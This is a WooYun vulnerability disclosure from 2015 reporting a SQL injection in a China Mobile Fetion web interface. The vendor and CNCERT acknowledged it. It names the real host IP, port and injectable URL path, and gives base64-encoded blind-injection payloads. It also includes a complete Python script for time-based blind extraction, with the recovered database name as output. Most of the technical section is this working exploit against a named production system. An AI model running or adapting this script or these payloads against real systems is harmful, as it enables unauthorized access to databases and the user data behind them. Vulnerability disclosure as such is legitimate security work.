当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124929

漏洞标题:中国移动某重要站点SQL注射附脚本

相关厂商:中国移动

漏洞作者: 路人甲

提交时间:2015-07-06 17:22

修复时间:2015-08-24 13:08

公开时间:2015-08-24 13:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-20: 细节向核心白帽子及相关领域专家公开
2015-07-30: 细节向普通白帽子公开
2015-08-09: 细节向实习白帽子公开
2015-08-24: 细节向公众公开

简要描述:

base64类型

详细说明:

域名:http://gz.feixin.10086.cn/
http://221.176.30.209:8080/HttpInterface/SMsg/show/sdx/MTcxMzgwMTg0/idx/aWYobm93KCk9c3lzZGF0ZSgpLHNsZWVwKDMpLDAp(注入点)/tk/ee7a99e05daf3f9b3d20aeeb85f7dca7/inx/0/fclient/pc
盲注的payload:
NTUxODM4Mzc0JyBBTkQgMyoyKjE9NiBBTkQgJzAwMFd4TVQnPScwMDBXeE1U true
NTUxODM4Mzc0JyBBTkQgMyoyKjI9NiBBTkQgJzAwMFd4TVQnPScwMDBXeE1U false

漏洞证明:

start to retrive MySQL database:
[in progress] o
[in progress] op
[in progress] op_
[in progress] op_m
[in progress] op_ma
[in progress] op_mai
[in progress] op_main
MySQL database is op_main


import httplib
import time
import base64
import urllib
import urllib2
import sys
payloads = list('arintmopq_@lchsuabcdefghjklvwxyzort.1234567890')
print 'start to retrive MySQL database:'
user = ''
for i in range(1,8):
for payload in payloads:
flag = 0
try:
s = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),%d,1))-%d)),0)" % (i,ord(payload))
s = base64.b64encode(s)
start_time = time.time()
conn = httplib.HTTPConnection('221.176.30.209:8080', timeout=5)
s = "/HttpInterface/SMsg/show/sdx/MTcxMzgwMTg0/idx/"+s+"/tk/ee7a99e05daf3f9b3d20aeeb85f7dca7/inx/0/fclient/pc"
conn.request(method='GET',url=s)
data3 = conn.getresponse().read()
except:
continue
if (time.time() - start_time < 1):
user += str(payload)
print '\n[in progress]', user
flag=1
break
else:
pass
if flag==0:
user += "*"
print '\nMySQL database is', user

修复方案:

~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-07-10 13:06

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无